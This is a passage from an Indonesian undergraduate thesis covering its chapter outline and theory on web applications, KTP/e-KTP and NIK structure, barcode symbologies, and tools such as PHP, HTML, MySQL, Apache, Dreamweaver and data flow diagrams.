tahun 1972 dan memiliki lima tahapan yang penulis kutip dari buku
Roger S. Pressman, yaitu: Communication, Planning, Modelling,
Construction, dan Deployment.
1.7. Sistematika Penulisan
Dalam penulisan skripsi dibagi menjadi lima bab dengan beberapa sub
bab pokok bahasan. Adapun sistematika dari skripsi ini adalah sebagai
berikut :
BAB I PENDAHULUAN
Bab ini berisi pendahuluan yang terdiri dari: latar belakang, rumusan
masalah, batasan masalah, tujuan penelitian, manfaat penelitian,
metodologi penelitian, dan sistematika penulisan.
8
BAB II LANDASAN TEORI
Pada bab ini diuraikan dasar teori yang di perlukan dalam penyusunan
dan penulisan skripsi.
BAB III METODOLOGI PENELITIAN
Dalam bab ini penulis memaparkan mengenai metode yang penulis
gunakan dalam pencarian data maupun metode untuk pengembangan sistem
yang dilakukan pada penelitian ini.
BAB IV HASIL DAN PEMBAHASAN
Bab ini berisi tentang hasil yang dicapai setelah melalui tahapan-
tahapan yang telah dilalui sebelumnya serta memberikan tampilan-tampilan
dari web yang dibuat.
BAB V PENUTUP
Pada bab ini penulis menyampaikan kesimpulan dari hasil penelitian
yang telah dilaksanakan serta saran-saran untuk pengembangan sistem yang
lebih baik lagi.
9
BAB II
LANDASAN TEORI
2.1. Program Aplikasi
Program aplikasi adalah suatu program komputer yang dibuat untuk
mengerjakan program. Application interface merupakan sekumpulan software
yang mengizinkan seorang programmer untuk memasuki suatu sistem dan
memakai layanan yang disediakan didalam suatu jaringan. (Widodo, 2005)
2.2. Aplikasi Sistem
Aplikasi sistem adalah sofware yang dibeli perusahaan dari tempat
pembuatnya. Aplikasi akan menggunakan sistem operasi (OS) komputer dan
aplikasi yang lainnya yang mendukung. Istilah ini mulai perlahan masuk ke dalam
istilah Teknologi Informasi semenjak tahun 1993, yang biasanya juga disingkat
dengan app. Secara historis, aplikasi adalah software yang dikembangkan oleh
sebuah perusahaan. App Industri PC tampaknya menciptakan istilah ini untuk
merefleksikan medan pertempuran persaingan yang baru, yang paralel dengan
yang terjadi antar sistem operasi yang dimunculkan. (Al-Fatta, 2005)
2.3. Konsep Aplikasi Berbasis Web
Aplikasi dalam bahasa awam sering disebut sebagai sebuah kumpulan
program atau script. Aplikasi web yang dibangun dengan menggunakan
struts framework terdiri dari komponen-komponen individual yang
9
10
digabungkan menjadi satu aplikasi. Aplikasi tersebut dapat diinstall dan
dieksekusi oleh web container. Komponen-komponen tersebut dapat
digabungkan karena mereka terletak dalam sebuah konteks web yang sama,
yang menjadikan mereka bergantung satu dengan yang lainnya, baik secara
langsung ataupun tidak langsung.
Untuk membahas aplikasi berbasis web pertama kita harus melihat
flatform yang berbeda di bawahnya. Aplikasi berbasis web dibangun diatas
HTTP. HTTP merupakan salah satu protocol yang bejalan diatas TCP/IP
(protocol internet). HTTP adalah protocol yang stateless. Web server hanya
memberikan informasi yang diminta setelah itu koneksi diputus.
(Ladjamudin, 2005)
2.3.1 Web Browser
Web browser adalah software yang digunakan untuk
mengakses/menampilkan halaman web. Browser berkomunikasi
dengan web server melalalui protocol HTTP, yang membaca dan
menerjemahkan bahasa HTML dan data lainnya dan kemudian
menampilkannya secara visual sehingga informasi yang ada dapat
dibaca. (Suyanto, 2007)
Mekanisme kerja permintaan dokumen web berbasis HTML
(web statis) adalah sebagai berikut :
1. Browser meminta sebuah halaman web ke suatu situs web melalui
protokol HTTP
11
2. Permintaan diterima oleh web server.
3. Web server mengirim dokumen HTML yang diminta oleh klien.
4. Browser klien menampilkan dokumen yang diterima berdasarkan
kode yang terdapat pada dokumen HTML.
2.3.2 Web Server
Web Server memberikan jawaban/response dari
permintaa/request web browser. Web server juga dapat memproses
form yang dikirimkan oleh web browser. Contoh dari web server
adalah, apache, NCSA HTTPD (unix) Webstar (Mac), IIS/PWS
(windows). (Dwiyanto dan Rifai, 2006)
2.3.3 Web Service
Web service adalah suatu aplikasi yang mendeskripsikan
sekumpulan informasi yang dapat diakses dalam sebuah jaringan
melalui pesan yang telah distandarkan. Web service juga merupakan
komponen perangkat lunak yang loosely coupled (tidak terikat), dapat
digunakan kembali dan didistribusikan, serta dapat diakses secara
programatik melalui protokol internet standar. Web service merupakan
hal yang sangat penting dalam proses perkembangan pembangunan
software terutama yang berbasis web. Web service berupa aplikasi
dapat dipublikasikan, dan dibangkitkan antar web. (Dwiyanto dan
Rifai, 2006)
12
2.3.4 Informasi
Antarmuka web dapat mengirim informasi dalam bentuk teks
terformat (HTML), grafik/animasi, dan suara. HTTP mengirimkan
informasi dengan format HTML (Hypertext Markup Language), selain
itu HTTP juga dapat mengirimkan informasi dalam bentuk lain.
Menjadi pertanyaan sekarang dimana letak aplikasi berbasis
web, aplikasi web terletak pada server, yang merupakan perpanjangan
dari webserver untuk mengirim dan memproses informasi. Jadi
informasi yang dikirim ke browser menjadi dinamis dengan adanya
aplikasi tersebut. Proses tersebut dapat dilakukan oleh CGI (Common
Gateway Interface) yang dapat dikembangkan dengan berbagai bahasa
pemprograman dalam berbagai platform selama menggunakan standar
yang ditetapkan.
Aplikasi berbasis web dapat juga dijalankan sebagai script oleh
processor semacam ASP atu PHP. Script dan program tersebut akan
memberikan informasi dalam format HTML ke webserver untuk
diteruskan ke browser dan juga memproses informasi dari web server,
misalnya menyimpan data kebasis data. Perlu disadari bahwa aplikasi
berbasis web kebanyakan menggunakan database (database-driven
application). Contoh aplikasi web yang sering digunakan adalah
webmail yaitu apilkasi web untuk membaca dan mengirimkan email
lewat browser.
13
Adapun keunggulan dan kelemahan aplikasi berbasis web adalah
sebagai berikut :
a. Keunggulan
1. Klien yang kecil, tidak membutuhkan resource yang besar
untuk menjalankan aplikasinya. Cukup dengan komputer
yang sanggup menjalankan web browser.
2. Kemudahan untuk deployment penyebaran aplikasi.
3. Cross platform, Karena menggunakan standard umum
HTTP/HTML. Bisa dijalankan dengan berbagai macam
sistem operasi.
4. Learning curve, khususnya yang telah mengenal web
sebelumnya. Biasanya aplikasi web dirancang secara
intuitif.
5. Kemudahan untuk digabungkan dengan layanan internet
lainnya, semisal email, ftp, dll.
6. Banyak tersedia resource/modul untuk komponen
pengembangan aplikasi
7. Mudah diakses dari mana saja, dari intranet maupun
internet.
b. Kelemahan
1. User interface tidak sekaya aplikasi platform lain, karena
keterbatasan standar HTML. Beberapa bisa ditingkatkan
14
dengan javascript tetapi menimbulkan masalah cross
browser.
2. Aplikasi yang stateless, diakibatkan protokol HTTP.
3. Banyak factor yang mempengaruhi performansi aplikasi.
Seperti jaringan, server dan lain sebagainya.
4. Semua proses dilakukan diserver, ini akan memberatkan
server jika proses yang dilakukan terlalu banyak.
5. Sangat tergantung pada jaringan.
Aplikasi berbasis web merupakan sebuah aplikasi yang
memanfaatkan teknologi world wide web (WWW) sebagai antar muka,
yang berarti data yang diinginkan dapat diakses dan dimanipulasi
dengan mengunakan sebuah web browser. Pada penerapannya, hal ini
sangat menguntungkan, karena aplikasi ini dapat dijalankan
disembarang komputer, selama komputer tersebut memiliki web
browser dan terhubung jaringan internet yang terpasang didalamnya.
Beberapa keuntungan lainnya di web-based application ialah:
1. Data dapat diakses kapan saja dan dimana saja.
2. Mudah dipakai, pemakai cukup melakukan point dan klik.
3. Perusahaan tidak harus membeli program pengakses karena
browser umumnya secara gratis di internet.
4. Selain itu, aplikasi berbasis web memudahkan pemeliharaan,
karena aplikasi secara fisik hanya ada deserver. Apabila ada
15
modifikasi atau penambahan modul tidak perlu dilakukan
terhadap komputer client satu per satu.
2.4. Kartu Tanda Penduduk (KTP)
2.4.1 Pengertian Kartu Tanda Penduduk (KTP)
Pengertian dari Kartu Tanda Penduduk (Kementrian Dalam
Negeri, 2010) adalah :
1. KTP adalah kartu bukti diri (legitimasi) bagi setiap penduduk
dalam wilayah Negara Republik Indonesia
2. Setiap Penduduk berumur diatas 17 tahun, atau telah/pernah
menikah wajib memiliki Kartu Tanda Penduduk (KTP)
3. Masa berlaku Kartu Tanda Penduduk (KTP) bagi yang berusia
17 tahun sampai dengan usia dibawah 60 tahun adalah 5 tahun,
dan bagi penduduk yang berusia diatas 60 tahun masa berlaku
Kartu Tanda Penduduk (KTP) adalah seumur hidup
4. KTP diterbitkan untuk permohonan baru, terjadi perubahan data,
rusak, hilang, dan habis masa berlakunya.
2.4.2 Pengertian E-KTP (Kartu Tanda Penduduk Elektronik)
E-KTP (Kartu Tanda Penduduk Elektronik) adalah Kartu Tanda
Penduduk yang berbasis elektronik yang di desain dengan metode
autentikasi dan pengamanan data tinggi.
16
Dalam Pasal 64 Ayat (3) UU No. 23 Tahun 2006, disebutkan
bahwa dalam KTP harus disediakan ruang untuk memuat kode
keamanan dan rekaman elektronik data kependudukan. Hal ini
dijabarkan dalam Perpres No. 26 Tahun 2009 bahwa di dalam
rekaman elektronik KTP tersimpan biodata, pas photo, dan sidik jari
tangan penduduk. (e-Jurnal Parlemen)
2.4.3 Dasar Hukum Pembuatan Kartu Tanda Penduduk (KTP)
Dasar hukum pembuatan pembuatan KTP (Kartu Tanda
Penduduk) tercantum pada Undang-undang no 23 tahun 2006 tentang
administrasi kependudukan pada No 14 yang berbunyi : “ Kartu Tanda
Penduduk selanjutnya di singkat KTP, adalah identitas resmi
penduduk sebagai bukti diri yang diterbitkan instansi pelaksana yang
berlaku di seluruh wilayah Negara Kesatuan Republik Indonesia”
(Kementrian Dalam Negeri, 2010)
2.5. Nomor Induk Kependudukan (NIK)
Nomor Induk Kependudukan selanjutnya disingkat NIK, adalah
nomor indentitas penduduk yang bersifat unik atau khas, tunggal dan
melekat pada seseorang yang terdaftar sebagai Penduduk Indonesia.
(Kementrian Dalam Negeri, 2010)
Adapun tata cara penamaan dalam konfigurasi Nomor Induk
Kependudukan (NIK) adalah :
17
1. Enam digit pertama merupakan kode wilayah, yaitu : dua digit
kode Propinsi, dua digit kode Kabupaten dan dua digit kode
Kecamatan
2. Enam digit kedua merupakan tanggal lahir pemegang NIK, yaitu :
dua digit tanggal lahir (bagi perempuan ditambah 40), dua digit
bulan lahir dan dua digit tahun lahir.
3. Empat digit terakhir merupakan nomor urut (seri) yang
dikreasikan oleh sistem.
2.6. Barcode
2.6.1 Pengertian Barcode
Barcode adalah informasi terbacakan mesin ( machine readable )
dalam format visual yang tercetak. Barcode dibaca dengan
menggunakan sebuah alat baca barcode atau lebih dikenal dengan
Barcode Scanner. Seiring semakin bertambahnya penggunaan
barcode, kini barcode tidak hanya bisa mewakili karakter angka saja
tapi sudah meliputi seluruh kode ASCII. Kebutuhan akan kombinasi
kode yang lebih rumit itulah yang kemudian melahirkan inovasi baru
berupa kode matriks dua dimensi (2D barcodes) yang berupa
kombinasi kode matriks bujur sangkar. 2D Barcode ini diantaranya
adalah PDF Code, QRCode, Matrix Code dan lain-lain. Dengan
menggunakan 2D code karakter yang bisa kita masukkan ke Barcode
bisa semakin banyak, dengan 1D Barcode biasanya kita hanya
18
memasukkan kode 5-20 digit tetapi dengan 2D Barcode kita bisa
memasukkan sampai ratusan digit kode.
Barcode yang kita kenal dan yang paling gampang kita ketahui
manfaatnya yaitu kalau kita belanja di supermarket atau swalayan.
Kita dapat melihat manfaat dari Barcode dapat meningkatkan
kecepatan dalam melayanai pelanggan dan meningkatkan akurasi data
produk yang di input oleh kasir. Di Indonesia sendiri organisasi yang
mengelola dan mengatur penggunaan Barcode adalah GS1. Dengan
mendaftarkan kode barcode perusahaan ke GS1 maka perusahaan
tersebut akan mendapatkan kode barcode khusus yang tidak akan bisa
diduplikasi oleh perusahaan lain. Simbologi yang dipakai di GS1
adalah EAN atau Europe Article Number yang terdiri dari 13 atau 8
digit. (Wahyono, 2010)
2.6.2 Jenis-jenis Barcode
Barcode terdiri dari berbagai macam simbologi. Ada beberapa
jenis simbologi barcode yang mungkin sering kita jumpai baik di
setiap produk yang kita beli di supermarket atau dari label atau stiker
yang terdapat di karton sebuah produk. Bagi sebagian orang Barcode
hanyalah garis hitam putih biasa yang dibawah garis tersebut terdapat
angka-angka tertentu, ternyata pendapat tersebut salah. Karena
Barcode itu terdiri dari beberapa simbologi atau jenis yang satu sama
19
lainnya berbeda baik jenis dan fungsinya. Berikut adalah beberapa
simbologi barcode yang sering digunakan :
1. Code 128
2. Code 39
3. Interleaved 2 of 5 (ITF)
4. UPC (Universal Product Code)
5. Extended Code 39
6. Code 93
7. Codabar
8. EAN (Europe Article Number). (Wahyono, 2010)
Adapun simbologi barcode yang digunakan pada aplikasi ini
adalah simbologi yang berjenis Interleaved 2 of 5 (ITF), karena code
barcode yang digunakan pada aplikasi ini berdasarkan angka dari
NIK, sesuai dengan fungsi dari simbologi barcode yang berjenis ITF
hanya dapat melakukan encoding dalam angka.
2.6.3 Cara Kerja Barcode
Barcode merupakan instrumen yang bekerja berdasarkan asas
kerja digital. Pada konsep digital, hanya ada 2 sinyal data yang dikenal
dan bersifat boolean, yaitu 0 atau 1. Ada arus listrik atau tidak ada
(dengan besaran tegangan tertentu, misalnya 5 volt dan 0 volt).
Barcode menerapkannya pada batang-batang baris yang terdiri dari
warna hitam dan putih. Warna hitam mewakili bilangan 0 dan warna
20
putih mewakili bilangan 1. Mengapa demikian? Karena warna hitam
akan menyerap cahaya yang dipancarkan oleh alat pembaca barcode,
sedangkan warna putih akan memantulkan balik cahaya tersebut.
Selanjutnya, masing-masing batang pada barcode memiliki ketebalan
yang berbeda. Ketebalan inilah yang akan diterjemahkan pada suatu
nilai. Demikian, karena ketebalan batang barcode menentukan waktu
lintasan bagi titik sinar pembaca yang dipancarkan oleh alat pembaca.
Dan sebab itu, batang-batang barcode harus dibuat demikian sehingga
memiliki kontras yang tinggi terhadap bagian celah antara (yang
menentukan cahaya). Sisi-sisi batang barcode harus tegas dan lurus,
serta tidak ada lubang atau noda titik ditengah permukaannya.
Sementara itu, ukuran titik sinar pembaca juga tidak boleh melebihi
celah antara batang barcode. Saat ini, ukuran titik sinar yang umum
digunakan adalah 4 kali titik yang dihasilkan printer pada resolusi
300dpi. (Wahyono, 2010).
2.7.Alat Bantu Aplikasi
Diperlukan berbagai alat bantu aplikasi, yaitu :
2.7.1 PHP
PHP merupakan bahasa pemrograman berbentuk skrip yang
ditempatkan dalam server dan diproses di server. Hasil dari
pengolahan akan dikirimkan ke klien, tempat pemakai menggunakan
browser. Secara khusus, PHP dirancang untuk membentuk web
21
dinamis. Artinya, ia dapat membentuk suatu tampilan berdasarkan
permintaan terkini. Misalnya, kita bisa menampilkan isi database ke
halaman web. Pada prinsipnya, PHP mempunyai fungsi yang sama
dengan script seperti ASP (Actives Server Page), Cold Fusion,
ataupun Perl.
PHP merupakan singkatan dari "PHP: Hypertext Preprocessor",
adalah sebuah bahasa scripting yang terpasang pada HTML. Sebagian
besar sintaks mirip dengan bahasa C, Java dan Perl, ditambah
beberapa fungsi PHP yang spesifik. Tujuan utama bahasa ini
adalah untuk memungkinkan perancang web menulis halaman web
dinamik dengan cepat.
2.7.1.1 Hubungan PHP dengan HTML
Halaman web biasanya disusun dari kode-kode HTML
yang disimpan dalam sebuah file berekstensi HTML. File
HTML ini dikirimkan oleh server (atau file) ke browser,
kemudian browser menerjemahkan kode-kode tersebut
sehingga menghasilkan suatu tampilan yang indah. Lain halnya
dengan program php, program ini harus diterjemahkan oleh
web server sehingga menghasilkan kode HTML yang dikirim
ke browser agar dapat ditampilkan. Program ini dapat berdiri
sendiri ataupun disisipkan diantara kode-kode HTML sehingga
dapat langsung ditampilkan bersama dengan kode-kode HTML
22
tersebut. Program php dapat ditambahkan dengan mengapit
program tersebut di antara tanda <? dan ?>. Tanda-tanda
tersebut biasanya disebut tanda untuk escaping (kabur) dari kode
HTML. File HTML yang telah dibubuhi program php harus
diganti ekstensi-nya menjadi .php atau .php3.
PHP merupakan bahasa pemrograman web yang
bersifat server-side HTML=embedded scripting, dimana
skripnya menyatu dengan HTML dan berada si server. Artinya
adalah sintaks dan perintah-perintah yang kita berikan akan
sepenuhnya dijalankan di server tetapi disertakan HTML biasa.
PHP dikenal sebagai bahasa scripting yang menyatu dengan tag
HTML, dieksekusi diserver dan digunakan untuk membuat
halaman web yang dinamis seperti ASP (Actives Server Pages)
dan JSP (Java Server Pages).
PHP pertama kali dibuat oleh Rasmus Lerdroft, seorang
programmer C. Semula PHP digunakannya untuk menghitung
jumlah pengunjung di dalam webnya. Kemudian ia
mengeluarkan Personal Home Page Tools versi 1.0 secara gratis.
Versi ini pertama kali keluar pada tahun 1995. Isinya adalah
sekumpulan skrip PERL yang dibuatnya untuk membuat
halaman webnya menjadi dinamis. Kemudian pada tahun1996 ia
mengeluarkan PHP versi 2.0 yang kemampuannya telah mampu
mengakses database dan dapat terintegrasi dengan HTML.
23
Pada tahun 1998 tepatnya pada tanggal 6 Juni 1998
keluarlah PHP versi 3.0 yang dikeluarkan oleh Rasmus sendiri
bersama kelompok pengembang softwarenya. Versi teranyar
yaitu PHP 4.0 keluar pada tanggal 22 Mei 2000 merupakan versi
yang lebih lengkap lagi dibandingkan dengan versi sebelumnya.
Perubahan yang paling mendasar pada PHP 4.0 adalah
terintegrasinya Zend Engine yang dibuat oleh Zend Suraski dan
Andi Gutmans yang merupakan penyempurnaan dari PHP3
scripting engine. Yang lainnya adalah build in HTTP session,
tidak lagi menggunakan library tambahan seperti pada PHP3.
Tujuan dari bahasa scripting ini adalah untuk membuat aplikasi-
aplikasi yang dijalankan di atas teknologi web. Dalam hal ini,
aplikasi pada umumnya akan memberikan hasil pada web
browser, tetapi prosesnya secara keseluruhan dijalankan web
server.
PHP versi 5 dengan rilis beta 1, teknologi inilah yang
kemudian akrab disebut sebagai PHP 5, meskipun sampai saat
itu pengembangannya masih terus dilakukan akan tetapi sudah
mendapatrspon cukup baik dikalangan pemprogram.
Sampai saat ini, pengembangan yang dilakukan telah
mencapai versi 5.0.3 dan disebarkan luas sejak desember 2004.
Beberapa bug yang ditemukan pada versi-versi sebelumnya
sudah banyak diperbaiki. Sebenarnya sejak versi 5.0.0 sudah
24
sempat dikatakan sebagai final, akan tetapi satu bulan kemudian
di sempurnakan dengan meluncurnya versi 5.0.1 dan sampai
kini terus dikembangkan lagi (Prasetya, 2005).
2.7.1.2 Kelebihan PHP
Ketika e-commerce semakin berkembang, situs-situs yang
statispun semakin ditinggalkan Karena dianggap sudah tidak
memenuhi keinginan pasar karena situs tersebut harus tetap
dinamis selama setiap hari. Pada saat ini bahasa PERL dan CGI
sudah jauh ketinggalan jaman sehingga sebagian besar designer
web banyak beralih ke bahasa server-side scripting yang lebih
dinamis seperti PHP.
Seluruh aplikasi berbasis web dapat dibuat dengan PHP.
Namun kekuatan yang paling utama PHP adalah pada
konektivitasnya dengan system database di dalam web. Sistem
database yang dapat didukung oleh PHP adalah :
1. Oracle
2. MySQL
3. Sybase
4. PostgreSQL
5. dan lainnya
PHP dapat berjalan diberbagai system operasi seperti
windows 98/NT, UNIX/LINUX, solaris maupun macintosh.
25
PHP merupakan software yang open source yang dapat anda
download secara gratis dari situs resminya yaitu
http://www.php.net, ataupun dari situs-situs yang menyediakan
software tersebut seperti di ftp://gerbang.che.itb.ac.id. Software
ini juga dapat berjalan pada web server seperti PWS (Personal
Web Server), Apache, IIS, AOLServer, fhttpd, phttpd dan
sebagainya. PHP juga merupakan bahasa pemograman yang
dapat kita kembangkan sendiri seperti menambah fungsi-fungsi
baru.
Keunggulan lainnya dari PHP adalah PHP juga
mendukung komunikasi dengan layanan seperti protocol IMAP,
SNMP, NNTP, POP3 bahkan HTTP. PHP dapat diinstal sebagai
bagian atau modul dari apache web server atau sebagai CGI
script yang mandiri. Banyak keuntungan yang dapat
diperoleh jika menggunakan PHP sebagai modul dari apache di
antaranya adalah :
1. Tingkat keamanan yang cukup tinggi
2. Waktu eksekusi yang lebih cepat dibandingkan dengan
bahasa pemograman web lainnya yang berorientasi pada
server-side scripting.
3. Akses ke system database yang lebih fleksibel. seperti
MySQL.
26
2.7.2 HTML
HTTP (hypertext transfer protocol) merupakan protokol yang
digunakan untuk mentransfer data antara web server ke web browser.
Protokol ini mentransfer dokumen-dokumen web yang ditulis
dalam format HTML (hypertext markup language). Disebut hypertext
markup language (HTML), karena berbasis text, HTML, dikenali dan
diterjemahkan segala jenis komputer dalam bentuk tampilan informasi
yang sama. HTML adalah kreasi tim berners lee, ilmuwan european
laboratory for particle physics (CERN – organisasi penelitian 18
negara Eropa) di Geneva Swiss. Maret 1989 tim memperkenalkan
WEB dan HTML sebagai standar antar muka distribusi informasi di
internet yang mampu menggabungkan teks, grafik dan multimedia
dengan metode navigasi menu pada mesin UNIX.
HTML adalah bahasa kode pemrograman yang menjadi dasar
bagi terwujudnya WEB. Dengan HTML seluruh sistem komputer
yang saling berbeda dapat mengenali format-format yang ditampilkan
dalam situs-situs internet tanpa perbedaan yang berarti, termasuk
didalamnya penampilan multimedia (grafik, suara dan citra video).
HTML berbasis teks yang sangat sederhana dan praktis sehingga
dapat dipahami oleh berbagai jenis komputer dalam platform sistem
yang berbeda. (Sutarman, 2003)
Dokumen HTML mengandung perintah-perintah teks yang
disebut tag untuk menampilkan tulisan, gambar, warna, suara, video,
27
animasi dsb. Serta link yang menghubungkan berbagai topik. Dengan
bentuk hypertext maka halaman internet (web site – kios internet)
akan dapat dibangun dengan cepat serta ditampilkan dengan cantik.
Dalam konsep hypertext ini pembacaan suatu dokumen tidak harus
urut namun bisa meloncat antar topik bahkan di print maupun di copy
ke media penyimpanan lokal (harddisk misalnya). Format hypertext
juga memungkinkan pemakai mesin yang hanya bisa mengenali teks
untuk mengakses dokumen dalam bentuk teks saja. Perbedaannya
hanya terletak pada tidak ditampilkannya gambar, grafik, animasi,
suara dan warna.
Mendesain HTML bearti melakukan suatu tindakan
pemrograman. Itu berarti, jika kita seorang desainer homepage, maka
kita adalah seorang programmer. Mendesain homepage tidaklah hanya
sebatas menuliskan perintah-perintah tertentu agar HTML kiat dapat
diakses oleh browser. Mendesain homepage adalah suatu seni
tersendiri. Homepage yang merupakan implementasi dari HTML
merupakan refleksi dari orang yang membuatnya. Untuk itu kita perlu
mendesainnya dengan baik agar netter (pengunjung) merasa tertarik
dan betah untuk mengunjunginya (bahkan kalau bisa
membookmarknya / menjadikan halaman awal sewaktu membuka
browser)
28
2.7.2.1 Editor Untuk Mendesain HTML
Mendesain HTML dapat dilakukan dengan cara : yaitu
dengan menggunakan HTML editor, seperti microsoft Front
Page, Macromedia Dreamweaver, dan lain-lain atau dengan
menuliskan skrip sendiri dengan menggunakan editor biasa atau
non HTML, editor seperti notepad, edit plus, ultra edit, dan lain-
lain. Cara yang pertama cukup menyenangkan dimana kita tidak
perlu menghapal kode-kode perintah HTML dan memungkinkan
kita dapat lansung melihat hasil desain homepage yang baru kita
buat. HTML editor ini bisa bermanfaat bagi mereka yang masih
awam terhadap bahasa pemrograman HTML. Kelemahannya
adalah kita memerlukan sisa ruang hardisk dan memory yang
cukup tinggi. Sedangkan cara kedua bisa menyerap energi kita,
karena kita harus mengetik semua skrip-skrip HTML yang kita
butuhkan dan hasilnya tidak dapat langsung kita lihat. Tapi
keuntunganya ialah spesifikasi komputer yang kita gunakan
tidak perlu terlalu tinggi.
2.7.3 My SQL
MySQL adalah sebuah perangkat lunak sistem manajemen
basis data SQL (Database Management System) atau DBMS yang
multi thread, multi-user, dengan sekitar 6 juta instalasi di seluruh
dunia. MySQL merupakan perangkat lunak basis data open source
29
yang paling digemari, karena perangkat lunak ini merupakan
perangkat lunak basis data yang powerful dan cukup stabil untuk
digunakan sebagai media penyimpanan data.
Alasan dipilihnya MySQL adalah karena perangkat lunak
database ini cukup populer, bersifat open source, dan yang paling
utama adalah karena php memiliki fungsi-fungsi built-in yang
mendukung menggunakan database MySQL. Menurut Sutarman
(2003 : p171), MySql dikembangkan oleh badan yang menamai
dirinya MySQL AB. Sebagai informasi MySQL dieja dengan mai-es-
kiu-el, dan bukan mai-sekuel. Jika menggunakan distribusi linux
tertentu, seperti RedHat versi 7.2 keatas, MySQL sudah disertakan
dalam paket instalasinya. Namun jika menggunakan beberapa jenis
distribusi linux yang lain atau sistem operasi lain seperti windows,
maka mungkin anda harus mencari dan menginstal sendiri MySQL
Pada dasarnya aplikasi MySql terdiri dari dua bagian, yaitu
MySQL server yang berjalan sebagai sevice atau daemon, beberapa
perintah yang dijalankan dari command prompt atau shell yang
digunakan untuk administrasi server, dan mysql, client yang
menyediakan antarmuka untuk melakukan administrasi database di
MySQL server. Khusus untuk MySQL for windows, secara default
direktori intalasinya adalah c:\mysql. Tetapi jika menginginkan
menempatkannya di direktori yang berbeda, harus membuat file teks
yang diberi nama C:\MY.CNF yang berisi hal berikut :
30
[mysqld]
basedir = {path instalasi}
datadir={path data}
contoh :
[mysqld]
basedir=E:/mysql/
datadir=E:/mysqldata
2.7.4 Apache
Apache merupakan web server yang bersifat open source dan
digunakan dalam pemrograman web berbasis server. Asal mula nama
apache terdapat dua versi yang berbeda, yaitu : dari sudut pandang
sebuah web server NCSA dan suku asli indian amerika (Sukarno:
2006)
Dari sudut pandang sebuah web server NCSA: nama apache
berasal ketika web server populer NCSA HTTPd 11.3 mengalami
perubahan besar terhadap kode sumbernya (patch). Begitu banyak
patch pada perangkat lunak tersebut sehingga disebut sebagai server
yang memiliki banyak patch (“a patchy” server) (Sukarno: 2006).
Dari sudut pandang suku asli indian amerika: menurut halaman
FAQ yang berasal dari situs resminya, bahwa nama “Apache” dipilih
untuk menghormati suku asli indian amerika, apache. Suku inidian
yang dikenal karena keahlian dan strategi perangnya (Sukarno: 2006)
31
2.7.5 Dreamweaver
Macromedia dreamweaver MX adalah editor HTML profesional
untuk merancang, mengodekan, dan mengembangkan website,
halaman web, dan aplikasi web. Kita bisa melakukannya secara
manual untuk coding HTML ataupun mengerjakannya dalam
lingkungan editing visual. Dreamweaver menyediakan tool yang
sangat menolong untuk meningkatkan pengalaman dalam
menciptakan web.
Visual editing feature di Dreamweaver memungkinkan kita
dengan cepat menciptakan halaman tanpa penulis satupun baris kode.
Kita dapat memandang semua asset atau unsur-unsur lokasi dan
menyeretnya dari suatu panel easy-to-use secara langsung kedalam
suatu dokumen. Kita dapat mengefektifkan workflow pengembangan
dengan menciptakan dan mengedit gambaran didalam macromedia
fireworks atau aplikasi grafik yang lain, kemudian mengimpornya
secara langsung kedalam dreamweaver, atau dengan menambahkan
objek macromedia flash.
Dreamweaver juga menyediakan lingkungan pengkodean
penuh, meliputi code-editing tool (seperti kode mewarnai dan
penyelesaian tag) dan material referensi pada HTML, Cascading Style
Sheet (CSS), JavaScript, ColdFussion Markup Language (CVML),
Microsoft Server pages (ASP), dan JavaServer Pages (JSP).
Teknologi Macromedia Roundrip HTML mengimpor dokumen
32
HTML yang dikode secara manual tanpa reformating kode. Kita
kemudian bisa mengformat kembali kode itu dengan dengan gaya
pengaturan yang lebih disukai.
Dreamweaver juga memungkinkan kita untuk membangun
aplikasi ewb dinamis yang didukung database yang menggunakan
teknologi server seperti CFML, ASP.NET, ASP, JSP dan PHP.
Dreamweaver secara penuh cusumizable. Kita dapat
menciptakan objek dan perintah. Memodifikasi shortcut keybord,
bahkan menulis kode JavaScript untuk memperluas kemampuan
DreamWeaver dengan behavior baru, Property Inpector, dan Site
Report. (Suyanto, 2007)
2.8. DataBase
Basis data (database) adalah suatu pengorganisasian sekumpulan
data yang saling terkait sehingga memudahkan aktifitas untuk memperoleh
informasi. Basis data dimaksudkan untuk mengatasi problem data suatu
sistem yang memakai pendekatan berbasis berkas.
Untuk mengelola basis data, diperlukan perangkat lunak yang
disebut DBMS. DBMS adalah perangakat lunak sistem yang
memungkinkan para pemakai membuat, memelihara, mengontrol dan
mengakses basis data dengan cara yang praktis dan efisien. DBMS dapat
digunakan untuk mengakomodasikan sebagai macam pemakai yang
memiliki kebutuhan akses yang berbeda-beda. (Kadir, 2003)
33
2.9. Analisis dan Desain Sistem yang Digunakan
2.9.1 Data Flow Diagram (DFD)
Data Flow Diagram (DFD) merupakan alat pengembangan
sistem yang terstruktur, yang menggambarkan arus data dalam sistem
yang terstruktur dan jelas.
2.9.1.1 Bentuk DFD
1. Logikal DFD
yaitu DFD yang menekankan proses-proses apa yang
dibutuhkan sistem. Bentuk ini digunakan untuk
menggambarkan sistem yang akan diusulkan. Adapun
keuntungannya, karena sistem yang akan diusulkan belum
tentu diterima oleh pemakai sistem. Dan biasanya
disusulkan beberapa alternatif, maka penggambaran sistem
secara logika dengan penerapan secara fisik akan lebih
mengena dan menghemat waktu penggambarannya
(Kendall, 2002)
2. Physical DFD
yaitu DFD yang menekankan bagaimana proses dari
sistem diterapkan, bentuk ini digunakan untuk
menggambarkan sestem yang sudah ada. Adapun
keuntungnnya adalah proses sistem yang ada akan lebih
dapat digambarkan dan dikomunikasikan pada pemakai
34
sistem sehingga analisis sistem akan memperoleh
gambaran yang jelas (Kendall, 2002).
2.9.1.2 Komponen DFD
Beberapa komponen yang digunakan dalam DFD untuk
mereprentasikan suatu sistem antara lain
1. External entity adalah seseorang, sekelompok orang,
sebuat departeman di dalam maupun di luar organisasi
atau sebuah sistem yang lain yang memberikan masukan
untuk sistem yang ada atau menerima keluaran dari sistem
yang ada (Kendall. 2002). External entity juga disebut
terminator karena merupakan batas dari sebuah sistem
dapat digambarkan seperti gambar 2.1
2. Arus data (data flow) adalah aliran yang menunjukkan
perpindahan data dari satu bagian ke bagian lain dalam
sebuah sistem (kendall. 2002). Arus data disimbolkan
dengan tanda panah dan diberi nama atau keterangan di
sampingnya yang menunjukkan data apa yang mengalir.
Arus data ini dapat dilihat pada gambar 2. 2
Data Flow
Eksternal Entity
35
3. Proses adalah simbol yang mengubah sesuatu dara dari
suatu bentuk menjadi bentuk lain, sepeti terlihat pada
gambar 2.3 Dengan kata lain, proses menerima masukan
data dan mengeluarkan data lain yang telah diproses
(Kendall, 2002)
4. Simpanan data adalah tempat penyimpanan data dalam
